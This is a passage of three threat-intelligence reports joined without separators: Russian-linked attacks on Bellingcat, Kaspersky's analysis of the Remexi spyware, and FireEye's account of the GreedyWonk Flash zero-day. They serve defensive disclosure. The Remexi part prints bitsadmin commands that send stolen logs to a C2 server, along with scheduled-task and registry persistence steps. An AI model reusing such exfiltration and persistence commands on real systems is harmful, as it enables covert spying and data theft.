The email account had a long, difficult password, not a word, from various letters, numbers, and special symbols.
Plus there was a telephone number bound to the account for second factor authentication.
Exactly how it was hacked  I dont know.
1.
Either they as employees, or with their active assistance, intercepted the SMS authentication code.
2.
Or they, again, as an officer from the authorities or with their active assistance, gained direct access to the Yandex Mail servers where they seized the email from my old inbox.
3.
Or they know about a vulnerability in Yandex email that nearly nobody else knows about.
Having seized the old email inbox, they used the password recovery mechanism for LiveJournal.
My LiveJournal account (which I have not used for a long time) was connected to my old email address, but LiveJournal does not provide second factor authentication.
Via password recovery of my LiveJournal from my stolen email, they took over my LiveJournal account and made a post.
In the same stolen email account, they found my username and password for my account at Bellingcat (I had once published an investigation directly on the Bellingcat website) and they published a post there in my name.
At the same time, my icloud account was not setup for second factor authentication, and was connected only to my old email address for password recovery, it was also taken over.
They performed a password recovery via my stolen email address for icloud, logged in, but I received a notification on my iPhone about it, and I quickly cut off their access, but they were able to download some photos.
They also tried to hack my Facebook and Twitter.
They were unable to crack Facebook, because I had second factor authentication and always need to enter the code generated by the Facebook app.
They were able to login to Twitter and change the password but nothing was deleted and they didnt tweet anything.
I restored the password.
Based on all the data, I assume that, as in the case of Alburovym, Kozlovsky, Parkhomenko, this was the activity of security services who intercepted the SMS containing the access code.
So they got access to my old email account and they also gained access to my Twitter account (which was also under two-factor, but code is sent via SMS rather than generated in an app).
Of my social networks where two-factor codes are generated via an application, they were unable to crack.
Of my social networks where the two-factor code was sent via SMS, they were able to crack.
Leviev suggests the attackers had direct access to Yandex mail servers or were able to intercept the SMS message used for two factor authentication to compromise his old Yandex email account.
Leviev goes on to describe that the actors then used emails from that old account to compromise his iCloud account and access pictures and other information saved from Levievs phone to iCloud.
Some of this information was ultimately put in a February 24, 2016 post on CyberBerkuts website that contained sensitive details of Levievs personal life, such as his pictures, phone number, address, passport scan, girlfriends name, and dating and sexual preferences.
These attacks were an overt attempt to discredit Bellingcat research and Leviev, but also carried a message to others who publicly voice positions critical of Moscow that this form of journalism does not go unnoticed.
We also found it interesting how much effort was expended and the degree of sources and methods exposed to achieve a simple defacement.
We do not know whether the attackers intercepted Levievs SMS-based two-factor authentication or had direct access to Yandex mail servers, but either tactic is more suggestive of a state-backed actor as opposed to independent hacktivists.
CyberBerkut and FANCY BEAR: Not the Same, But Showing Up to the Same Party Throughout our research, we have focused on FANCY BEAR, an advanced persistent threat (APT) group assessed to be Russian government.
CyberBerkut, on the other hand, was a referential data point when we looked at precedence for pro- Russian proxies interfering with elections.
CrowdStrike assessed in its 2015 Global Threat Report there are indications that CyberBerkut has ties to Russian state security, but the degree of Russian government control over the group is disputed.
10/16 https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf The timing of the FANCY BEAR spearphishing campaigns and the CyberBerkut attack against Leviev are interesting.
The concerted FANCY BEAR spearphishing efforts over a six month timeframe in 2015 shows Moscows clear intent to compromise Bellingcat, most likely due to their posts on key current events involving Russia.
This activity was followed by a hard stop and then additional targeted efforts by CyberBerkut in early 2016, which was in-turn followed by additional FANCY BEAR spearphishing from May to July 2016.
A key assumption underlying any assessment about how these activities are related stems from how an analyst assesses the motives for targeting Leviev.
We came up with two scenarios: Stronger/Closer Coordination Between FANCY BEAR and CyberBerkut.
In this scenario, the activities against Bellingcat are coordinated with these two entities handing off operations.
The timing suggests that the state actors, looking to compromise Bellingcat, pivoted to a more aggressive attack against Leviev when the initial spearphishing campaign failed to yield the desired results.
Leviev is targeted more aggressively as a means to get at Bellingcat and since he lives in Russia, state actors would have additional tools in their kit to intercept his SMS two-factor authentication messages or gain direct access to Yandexs mail servers.
In this scenario, CyberBerkut functions as much as a strategic messaging outlet as the actual attacker and is subject to a much greater degree of direction and control from Moscow than previously assessed.
The Common Enemies Approach: Weaker/Less Coordination Between FANCY BEAR and CyberBerkut.
In this scenario, the spearphishing campaigns conducted by FANCY BEAR are distinct in purpose and perpetrator from the CyberBerkut attack against Leviev.
The spearphishing campaigns are more focused on Bellingcats coverage of the MH17 shootdown and involvement in the JIT investigation.
CyberBerkut targets Leviev separately after his coverage of Russian military involvement in eastern Ukraine with some assistance from supportive friends in Moscow to compromise his Yandex account.
Targeting Leviev is less about a broader compromise of Bellingcat and more about harassing one journalist.
In this scenario, CyberBerkut is advancing Moscows interests and can call on the Russian intelligence services, but is still a distinct group.
Leak Sites Leaking Over We looked to see if we could identify other overlaps between FANCY BEAR and CyberBerkut that would help us assess which of these two scenarios was more likely.
Through our research into the Bellingcat activity, we found some surprising content overlaps with DCLeaks  another assessed Russian influence outlet  and a CyberBerkut pattern of registering infrastructure that FANCY BEAR also uses.
These developments move the needle slightly towards a more coordinated relationship between the two groups, but not decisively.
Comparing DCLeaks and CyberBerkut In our previous post, we identified a website called DCLeaks as a Russian-backed influence outlet.
Information shared with ThreatConnect indicates that there is an association of some kind between the Guccifer 2.0 persona and the DCLeaks website.
Shortly after publication, we became aware of a cache of documents leaked on the DCLeaks site.
The files were allegedly obtained via a compromise of an organization affiliated with George Soros.
It is interesting to note that earlier in 2016 CyberBerkut also published files purportedly associated with Soros.
Analysis conducted by Anton Cherepanov, a security researcher who works for ESET, suggests that the content of the two leaks are similar with at least three of the Soros documents being found on both sites.
The acquisition and publication of documents belonging to, or in some way associated with, the same individual is of interest as overlaps in targeting and potential similarities in stolen content could be indicative of a connection between DCLeaks and CyberBerkut.
Further, as we have identified that there is a connection from DCLeaks to Guccifer 2.0 and from Guccifer 2.0 to FANCY BEAR, the overlap in leaked documents may suggest that both leak sites obtained their data from the same collection source, FANCY BEAR.
While this alone isnt enough to verify a relationship between the sites, there are some other interesting similarities.
Despite their statuses as a U.S.-focused whistleblower and hacktivist group respectively, the websites of both DCLeaks and CyberBerkut primarily host content that is critical of individuals and governments perceived to oppose Russian foreign and domestic policies.
Both sites attempt to appeal to civilian masses in the U.S. and Ukraine respectively by calling attention to purported in the political systems.
Aleksandr Panchenko CyberBerkuts main domain, cyber-berkut[.
]org, was registered using privacy protection through the registrar Internet.bs and 11/16 https://threatconnect.com/blog/does-a-bear-leak-in-the-woods/ https://twitter.com/cherepanov74/status/764948917939212289 https://foreignpolicy.com/2016/08/22/turns-out-you-cant-trust-russian-hackers-anymore/ shortly thereafter hosted using CloudFlare infrastructure.
Several other CyberBerkut-related domains redirect to this website.
Most of these domains were also registered using privacy protection, but one domain, cyber-berkut[.
]net was registered by Aleksandr Panchenko using the email address alex_panchenkomail[.
]com.
The same day the domain was registered through Reg.ru, it was later routed to CloudFlare infrastructure, suggesting that this domain was not opportunistically procured by a domain registrant in hopes they could sell it to the CyberBerkut actors.
Additional research into this name and email address identifies six other CyberBerkut-related domains, none of which are active currently, registered by this individual: Cyber-berkut[.
]su Cyber-berkut[.
]tk Cyber-berkut[.
]us Cyber-berkut[.
]me Cyber-berkut[.
]cz Cyber-berkut[.
]im While certainly not definitive, the use of a mail.com email address to register domains is consistent with recently identified FANCY BEAR registration activity against the DCCC, WADA, and CAS.
Tracing out FB Infrastructure Based on Bellingcat Input The activity that Bellingcat alerted us to provided a plethora of domains, IP addresses, email addresses, and other registration and hosting information for us to pivot off of to identify other pertinent infrastructure.
In an upcoming blog post, well seek to identify as much FANCY BEAR infrastructure and aliases as possible using the ThreatConnect platform and capabilities from some of our industry partners.
Reviewing the CATA501836 and Carbon2u name servers, we were able to identify dozens of active domains that fit the FANCY BEAR mold and likely spoof organizations that Moscow would seek to compromise.
Pivoting off of Bellingcats email headers we were able to identify hundreds of domains and IPs, and dozens of email addresses and aliases most likely used by FANCY BEAR, some of which were not previously identified.
This review primarily identified historical FANCY BEAR information, but the conclusions from it help verify FANCY BEAR TTP assessments, provide additional 12/16 https://threatconnect.com/blog/fancy-bear-it-itch-they-cant-scratch/ https://threatconnect.com/blog/fancy-bear-anti-doping-agency-phishing/ targeting context, and may be useful in retrospective reviews of malicious activity.
Conclusion The campaign against Bellingcat provides yet another example of sustained targeting against an organization that shines a light on Russian perfidy.
The spearphishing campaign is classic FANCY BEAR activity while CyberBerkuts role raises yet more questions about the groups ties to Moscow.
These end-to-end cyber operations begin with targeting and exploitation and end with strategic leaks and other active measures employed against those with whom they disagree.
These efforts go above and beyond traditional intelligence requirements such as gaining insight into a sensitive project or sources.
Vilifying the messenger and dumping their personal data is part of the game, intended to intimidate and embarrass those that speak ill of Moscow.
If Russia is willing to go to these lengths to compromise a small journalist organization and its contributors, consider what they are willing to do to major news and media outlets that publish similar articles.
While many organizations remain reticent to share information, this knowledge is the prerequisite to establishing how widespread such efforts are and the adversarys modus operandi.
The BEARs win if their active measures campaigns push, scare, or intimidate their targets into doing what they want.
If you encounter a BEAR, youre doing something right.
Dont back down.
And turn on two-factor authentication for everything.
Update On October 5 2016, probable FANCY BEAR actors again sent a spearphishing message to a Bellingcat contributor.
This spearphishing message spoofed Google security services, similar to those previously used to target Bellingcat.
13/16 FANCY BEAR used a shortening service to mask the malicious link, similar to the previous messages, but it appears the actors attempted to obfuscate their activity by using two separate shortening services to hide the final malicious link.
The tiny.cc link that is in the spearphishing message actually points to a TinyURL shortened URL.
14/16 The TinyURL in turn points to the below URL: hxxp://myaccount.google.com-changepassword-securitypagesettingmyaccountgooglepagelogin.id833[.
]ga This URL is appended with a target-specific base64 encoded string as was seen in the previous spearphishing messages targeting Bellingcat and others.
The id833[.
]ga domain is hosted at the 89.40.181[.
]119 IP (Bucharest, RO) which also hosts the domain id834[.
]ga.
There is a subdomain for the id834[.
]ga similar to the URL above that is also hosted at the same IP.
This suggests that the id834[.
]ga domain has also been operationalized, though we have no information indicating who has been targeted with it.
The WHOIS records for these domains did not contain any additional information on the registrants or other domains they may have registered.
Using ThreatConnects Email Import feature, we identified that the spearphishing message was sent through Yandex mail servers using the email address g.mail2017yandex[.
]com.
15/16 This was the first identified spearphish against Bellingcat since July 2016 and suggests that FANCY BEAR activity against them is ongoing.
Other organizations involved in the MH17 investigation that would draw Moscows ire should be on the lookout for similar activity.
16/16 Belling the BEAR ThreatConnect reviews activity targeting Bellingcat, a key contributor in the MH17 investigation.
[
UPDATE] October 7th 2016 Bellingcat Background Activity Targeting Bellingcat CyberBerkut and FANCY BEAR: Not the Same, But Showing Up to the Same Party Leak Sites Leaking Over Tracing out FB Infrastructure Based on Bellingcat Input Update
By Denis Legezo Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities securelist.com/chafer-used-remexi-malware/89538 Executive Summary Throughout the autumn of 2018 we analyzed a long-standing (and still active at that time) cyber-espionage campaign that was primarily targeting foreign diplomatic entities based in Iran.
The attackers were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionage operation.
This malware has previously been associated with an APT actor that Symantec calls Chafer.
The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and history, decrypted when possible.
The attackers rely heavily on Microsoft technologies on both the client and server sides: the Trojan uses standard Windows utilities like Microsoft Background Intelligent Transfer Service (BITS) bitsadmin.exe to receive commands and exfiltrate data.
Its C2 is based on IIS using .asp technology to handle the victims HTTP requests.
Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment.
They most likely used the Qt Creator IDE in a Windows environment.
The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive.
XOR and RC4 encryption is used with quite long unique keys for different samples.
Among all these random keys once the word salamati was also used, which means health in Farsi.
Kaspersky Lab products detect the malware described in this report as Trojan.
Win32.Remexi and Trojan.
Win32.Agent.
This blogpost is based in our original report shared with our APT Intelligence Reporting customers last November 2018.
For more information please contact: intelreportskaspersky.com Technical analysis The main tool used in this campaign is an updated version of the Remexi malware, publicly reported by Symantec back in 2015.
The newest modules compilation timestamp is March 2018.
The developers used GCC compiler on Windows in the MinGW environment.
1/9 https://securelist.com/chafer-used-remexi-malware/89538/ mailto:intelreportskaspersky.com https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/01/25135938/190125-chafer-remexi.png Inside the binaries the compiler left references to the names of the C source file modules used: operation_reg.c, thread_command.c and thread_upload.c.
Like mentioned in modules file names the malware consists of several working threads dedicated to different tasks, including C2 command parsing and data exfiltration.
For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP.
Proliferation So far, our telemetry hasnt provided any concrete evidence that shows us how the Remexi malware spread.
However, we think its worth mentioning that for one victim we found a correlation between the execution of Remexis main module and the execution of an AutoIt script compiled as PE, which we believe may have dropped the malware.
This dropper used an FTP with hardcoded credentials to receive its payload.
FTP server was not accessible any more at the time of our analysis.
Malware features Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands.
Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victims data.
Remexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliary functions.
The Remexi developers seem to rely on legitimate Microsoft utilities, which we enumerate in the table below.
Utility Usage extract.exe Deploys modules from the .cab file into the working Event Cache directory bitsadmin.exe Fetches files from the C2 server to parse and execute commands.
Send exfiltrated data taskkill.exe Ends working cycle of modules Persistence Persistence modules are based on scheduled tasks and system registry.
Mechanisms vary for different OS versions.
In the case of old Windows versions like XP, main module events.exe runs an edited XPTask.vbs Microsoft sample script to create a weekly scheduled task for itself.
For newer operating systems, events.exe creates task.xml as follows: 2/9 Then it creates a Windows scheduled task using the following command: 1 schtasks.exe /create /TN \Events\\CacheTask_user_name_here /XML \ event_cache_dir_patht /F At the system registry level, modules achieve persistence by adding themselves into the key: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit when it finds possible add values to the Winlogon subkey, and in HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager.
All such indicators of comprometation are mentioned in correspondent appendix below.
Commands All the commands received from the C2 are first saved to an auxiliary file and then stored encrypted in the system registry.
The standalone thread will decrypt and execute them.
Command Description search Searches for corresponding files searchupload Encrypts and adds the corresponding files to the upload directory with the provided name uploadfile Encrypts and adds the specified file to the upload directory with the provided name uploadfolder Encrypts and adds the mentioned directory to the upload directory with the provided name shellexecute Silently executes received command with cmd.exe wmic Silently executes received command with wmic.exe (for WMI commands) sendIEPass Encrypts and adds all gathered browser data into files for upload to C2 uninstall Removes files, directory and BITS tasks Cryptography 3/9 To decrypt the configuration data, the malware uses XOR with 25-character keys such as waEHleblxiQjoxFJQaIMLdHKz that are different for every sample.
RC4 file encryption relies on the Windows 32 CryptoAPI, using the provided values MD5 hash as an initial vector.
Among all these random keys once the word salamati was also used, which means health in Farsi.
Configuration Config.ini is the file where the malware stores its encrypted configuration data.
It contains the following fields: Field Sample value Description diskFullityCheckRatio 1.4 Malware working directory size threshold.
It will be deleted if it becomes as large as the free available space multiplied by this ratio captureScreenTimeOut 72 Probability of full and active window screenshots being taken after mouse clickcaptureActiveWindowTimeOut 313 captureScreenQC 40 Not really used.
Probably full and active window screenshot quality captureActiveQC 40 CaptureSites VPN0,0 Login0,0 mail0,0 Security0,0 Window titles of interest for screenshots, using left mouse button and Enter keypress hook important upLog.txt upSCRLog.txt upSpecial.txt upFile.txt upMSLog.txt List of files to send to C2 using bitsadmin.exe from the dedicated thread maxUpFileSizeKByte 1000000 Maximum size of file uploaded to C2 Servers http://108.61.189.174 Control server HTTP URL ZipPass KtJvOXulgibfiHk Password for uploaded zip archives 4/9 browserPasswordCheckTimeout 300000 Milliseconds to wait between gathering key3.db, cookies.sqlite and other browser files in dedicated thread Most of the parameters are self-explanatory.
However, captureScreenTimeOut and captureActiveWindowTimeOut are worth describing in more detail as their programming logic is not so intuitive.
One of the malware threads checks in an infinite loop if the mouse button was pressed and then also increments the integer iterator infinitely.
If the mouse hooking function registers a button hit, it lets the screenshotting thread know about it through a global variable.
After that, it checks if the iterator divided by (captureScreenTimeOut/captureActiveWindowTimeOut) has a remainder of 0.
In that case, it takes a screenshot.
Main module (events.exe) SHA256 b1fa803c19aa9f193b67232c9893ea57574a2055791b3de9f836411ce000ce31 MD5 c981273c32b581de824e1fd66a19a281 Compiled GCC compiler in MinGW environment version 2.24, timestamp set to 1970 by compiler Type I386 Windows GUI EXE Size 68 608 After checking that the malware is not already installed, it unpacks HCK.cab using the Microsoft standard utility expand.exe with the following arguments: 1 expand.exe -r \full path to HCK.cab\ -f: \event_cache_dir_path\\\ Then it decrypts config.ini file with a hardcoded 25-byte XOR key that differs for every sample.
It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads: ID Thread description 1 Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility 2 Decrypts command from registry using RC4 with a hardcoded key, and executes it 5/9 3 Transfers screenshots from the clipboard to \Cache005 subdirectory and Unicode text from clipboard to log.txt, XOR-ed with the salamati key (health in Farsi) 4 Transfers screenshots to \Cache005 subdirectory with captureScreenTimeOut and captureScreenTimeOut frequencies 5 Checks network connection, encrypts and sends gathered logs 6 Unhooks mouse and keyboard, removes bitsadmin task 7 Checks if malwares working directory size already exceeds its threshold 8 Gathers victims credentials, visited website cache, decrypted Chrome login data, as well as Firefox databases with cookies, keys, signons and downloads The malware uses the following command to receive data from its C2: 1 2 bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal server file http://server_config/asp.asp?uihost_namenrg-adapter_info-user_name Activity logging module (Splitter.exe) This module is called from the main thread to obtain screenshots of windows whose titles are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc.
SHA256 a77f9e441415dbc8a20ad66d4d00ae606faab370ffaee5604e93ed484983d3ff MD5 1ff40e79d673461cd33bd8b68f8bb5b8 Compiled 2017.08.06 11:32:36 (GMT), 2.22 Type I386 Windows Console EXE Size 101 888 Instead of implementing this auxiliary module in the form of a dynamic linked library with its corresponding exported functions, the developers decided to use a standalone executable started by events.exe with the following parameters: Parameter Description -scr Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration.
Can capture all screen (AllScreen) or the active window (ActiveWindow) 6/9 -ms Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration.
Specifies the screen coordinates to take -zip Name of password (from configuration data) protected zip archive -clipboard Screenshot file name where a bitmap from the clipboard is saved in Cache005 subdirectory, zipped with password from configuration Data exfiltration Exfiltration is done through the bitsadmin.exe utility.
The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself.
The following is the command used to exfiltrate data from the victim to the C2: 1 bitsadmin.exe /TRANSFER HelpCenterUpload /UPLOAD /PRIORITY normal control_server/YP01_victim_fingerprint_log_file_name log_file_name Victims The vast majority of the users targeted by this new variant of Remexi appear to have Iranian IP addresses.
Some of these appear to be foreign diplomatic entities based in the country.
Attribution The Remexi malware has been associated with an APT actor called Chafer by Symantec.
One of the human-readable encryption keys used is salamati.
This is probably the Latin spelling for the word health in Farsi.
Among the artifacts related to malware authors, we found in the binaries a .pdb path containing the Windows user name Mohamadreza New.
Interestingly, the FBI website for wanted cybercriminals includes two Iranians called Mohammad Reza, although this could be a common name or even a false flag.
Conclusions Activity of the Chafer APT group has been observed since at least 2015, but based on things like compilation timestamps and CC registration, its possible they have been active for even longer.
Traditionally, Chafer has been focusing on targets inside Iran, although their interests clearly include other countries in the Middle East.
We will continue to monitor how this set of activity develops in the future.
7/9 https://docs.microsoft.com/en-us/windows/desktop/Bits/bitsadmin-tool https://www.securityweek.com/iran-linked-chafer-group-expands-toolset-targets-list https://www.fbi.gov/wanted/cyber/mohammed-reza-sabahi https://www.fbi.gov/wanted/cyber/mohammad-reza-rezakhah Indicators of compromise File hashes events.exe 028515d12e9d59d272a2538045d1f636 03055149340b7a1fd218006c98b30482 25469ddaeff0dd3edb0f39bbe1dcdc46 41b2339950d50cf678c0e5b34e68f537 4bf178f778255b6e72a317c2eb8f4103 7d1efce9c06a310627f47e7d70543aaf 9f313e8ef91ac899a27575bc5af64051 aa6246dc04e9089e366cc57a447fc3a4 c981273c32b581de824e1fd66a19a281 dcb0ea3a540205ad11f32b67030c1e5a splitter.exe c6721344af76403e9a7d816502dca1c8 d3a2b41b1cd953d254c0fc88071e5027 1FF40E79D673461CD33BD8B68F8BB5B8 ecae141bb068131108c1cd826c82d88b 12477223678e4a41020e66faebd3dd95 460211f1c19f8b213ffaafcdda2a7295 53e035273164f24c200262d61fa374ca Domains and IPs 108.61.189.174 Hardcoded mutexes Local\TEMPDAHCE01 Local\zaapr Local\reezaaprLog Local\Temp-00-aa-123-mr-bbb Scheduled task CacheTask_user_name_here Directory with malicious modules Main malware directory: APPDATA\Microsoft\Event Cache Commands from C2 in subdirectory: Cache001\cde00.acf 8/9 Events.exe persistence records in Windows system registry keys HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager Victims fingerprints stored in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData or HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData RC4 encrypted C2 commands stored in HKCU\SOFTWARE\Microsoft\Fax HTTP requests template http://server_ip_from_config/asp.asp?uihost_namenrg-adapter_info-user_name And bitsadmin.exe task to external network resources, addressed by IP addresses 9/9 Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities Executive Summary Technical analysis Proliferation Malware features Persistence Commands Cryptography Configuration Main module (events.exe) Activity logging module (Splitter.exe) Data exfiltration Victims Attribution Conclusions Indicators of compromise File hashes Domains and IPs Hardcoded mutexes Scheduled task Directory with malicious modules Events.exe persistence records in Windows system registry keys Victims fingerprints stored in RC4 encrypted C2 commands stored in HTTP requests template
Operation GreedyWonk: Multiple Economic and Foreign Policy Sites Compromised, Serving Up Flash Zero-Day Exploit Less than a week after uncovering Operation SnowMan, the FireEye Dynamic Threat Intelligence cloud has identified another targeted attack campaign  this one exploiting a zero-day vulnerability in Flash.
We are collaborating with Adobe security on this issue.
Adobe has assigned the CVE identifier CVE-2014- 0502 to this vulnerability and released a security bulletin.
As of this blog post, visitors to at least three nonprofit institutions  two of which focus on matters of national security and public policy  were redirected to an exploit server hosting the zero-day exploit.
Were dubbing this attack Operation GreedyWonk.
We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise), attack infrastructure, and malware configuration properties.
The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits) and a determination to infect visitors to foreign and public policy websites.
The threat actors likely sought to infect users to these sites for follow-on data theft, including information related to defense and public policy matters.
Discovery On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash Player (12.0.0.4 and 11.7.700.261).
Visitors to the Peter G. Peterson Institute for International Economics (www.piie[.
]com) were redirected to an exploit server hosting this Flash zero-day through a hidden iframe.
We subsequently found that the American Research Center in Egypt (www.arce[.
]org) and the Smith Richardson Foundation (www.srf[.
]org) also redirected visitors the exploit server.
All three organizations are nonprofit institutions the Peterson Institute and Smith Richardson Foundation engage in national security and public policy issues.
Mitigation To bypass Windows Address Space Layout Randomization (ASLR) protections, this exploit targets computers with any of the following configurations: Windows XP Windows 7 and Java 1.6 http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html http://helpx.adobe.com/security/products/flash-player/apsb14-07.html http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/ Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010 Users can mitigate the threat by upgrading from Windows XP and updating Java and Office.
If you have Java 1.6, update Java to the latest 1.7 version.
If you are using an out-of-date Microsoft Office 2007 or 2010, update Microsoft Office to the latest version.
These mitigations do not patch the underlying vulnerability.
But by breaking the exploits ASLR-bypass measures, they do prevent the current in-the-wild exploit from functioning.
Vulnerability analysis GreedyWonk targets a previously unknown vulnerability in Adobe Flash.
The vulnerability permits an attacker to overwrite the vftable pointer of a Flash object to redirect code execution.
ASLR bypass The attack uses only known ASLR bypasses.
Details of these techniques are available from our previous blog post on the subject (in the Non-ASLR modules section).
For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C runtime) gadgets with hard-coded base addresses for English (en) and Chinese (zh-cn and zh-tw).
On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C runtime) if the user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has Microsoft Office 2007 or 2010.
Java 1.6 is no longer supported and does not receive security updates.
In addition to the MSVCR71.dll ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6.
Thats why FireEye strongly recommends upgrading to Java 1.7.
The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013.
More details about this bypass are addressed by Microsofts Security Bulletin MS13-106 and an accompanying blog entry.
FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches.
Shellcode analysis The shellcode is downloaded in ActionScript as a GIF image.
Once ROP marks the shellcode as executable using Windows VirtualProtect function, it downloads an executable via the InternetOpenURLA and InternetReadFile functions.
Then it writes the file to disk with CreateFileA and WriteFile functions.
Finally, it runs the file using the WinExec function.
http://www.fireeye.com/blog/corporate/executive-perspectives/2014/02/windows-xp-catch-if-you-cannot-patch.html http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html http://technet.microsoft.com/en-us/security/bulletin/ms13-106 https://blogs.technet.com/b/srd/archive/2013/12/09/ms13-106-another-aslr-bypass-is-gone.aspx PlugX/Kaba payload analysis Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash 507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint.
This PlugX sample was compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for this campaign.
This PlugX payload was configured with the following command-and-control (CnC) domains: java.ns1[.
]name adservice.no-ip[.
]org wmi.ns01[.
]us Sample callback traffic was as follows: POST /D28419029043311C6F8BF9F5 HTTP/1.1 Accept: / HHV1: 0 HHV2: 0 HHV3: 61456 HHV4: 1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 InfoPath.2 .NET CLR 2.0.50727 SV1) Host: java.ns1.name Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache Campaign analysis Both java.ns1[.
]name and adservice.no-ip[.
]org resolved to 74.126.177.68 on Feb. 18, 2014.
Passive DNS analysis reveals that the domain wmi.ns01.us previously resolved to 103.246.246.103 between July 4, 2013 and July 15, 2013 and 192.74.246.219 on Feb. 17, 2014.
java.ns1[.
]name also resolved to 192.74.246.219 on February 18.
Domain First Seen Last Seen IP Address adservice.no-ip[.
]org 2014-02-18 2014-02-19 74.126.177.68 java.ns1[.
]name 2014-02-18 2014-02-19 74.126.177.68 java.ns1[.
]name 2014-02-18 2014-02-18 192.74.246.219 wmi.ns01[.
]us 2014-02-17 2014-02-17 192.74.246.219 proxy.ddns[.
]info 2013-05-02 2014-02-18 103.246.246.103 updatedns.ns02[.
]us 2013-09-06 2013-09-06 103.246.246.103 updatedns.ns01[.
]us 2013-09-06 2013-09-06 103.246.246.103 wmi.ns01[.
]us 2013-07-04 2013-07-15 103.246.246.103 Further research uncovered a number of older malware samples connecting to the same domain wmi.ns01[.
]us.
MD5 Family Compile Time Alternate C2s 7995a9a6a889b914e208eb924e459ebc PlugX 2012-06-09 fuckchina.govnb[.
]com bf60b8d26bc0c94dda2e3471de6ec977 PlugX 2010-03-15 microsafes.no-ip[.
]org fd69793bd63c44bbb22f9c4d46873252 Poison Ivy 2013-03-07 N/A 88b375e3b5c50a3e6c881bc96c926928 Poison Ivy 2012-06-11 N/A cd07a9e49b1f909e1bd9e39a7a6e56b4 Poison Ivy 2012-06-11 N/A Domain First Seen Last Seen IP Address fuckchina.govnb[.
]com 2013-12-11 2013-12-11 204.200.222.136 microsafes.no-ip[.
]org 2014-02-12 2014-02-12 74.126.177.70 microsafes.no-ip[.
]org 2013-12-04 2013-12-04 74.126.177.241 The Poison Ivy variants that connected to the domain wmi.ns01[.
]us had the following unique configuration properties: MD5 Password Mutex fd69793bd63c44bbb22f9c4d46873252 java7 NBCDFE 88b375e3b5c50a3e6c881bc96c926928 admin ytf333 cd07a9e49b1f909e1bd9e39a7a6e56b4 admin ytf333 We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same java7 password, which was dropped by an Adobe Flash exploit (CVE-2012-0779).
In this previous incident, visitors to the Center for Defense Information website (www.cdi[.
]org  also an organization involved in defense matters  were redirected to an exploit server at 159.54.62.92.
This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5 1ec5141051776ec9092db92050192758).
This exploit, in turn, dropped the Poison Ivy variant.
In addition to using the same password java7, this variant was configured with the mutex with the similar pattern of YFdsff and connected to a CnC server at windows.ddns[.
]us.
Using passive DNS analysis, we see the domains windows.ddns[.
]us and wmi.ns01[.
]us both resolved to 76.73.80.188 in mid-2012.
Domain First Seen Last Seen IP Address wmi.ns01.us 2012-07-07 2012-09-19 76.73.80.188 windows.ddns.us 2012-05-23 2012-06-10 76.73.80.188 http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/ During another earlier compromise of the same www.cdi.org website, visitors were redirected to a Java exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e).
This jar file exploited CVE-2012-0507 and dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52).
This Poison Ivy variant connected to a CnC server at ids.ns01[.
]us.
The domain ids.ns01[.
]us also overlaps with the domain wmi.ns01[.
]us on the IP 194.183.224.75.
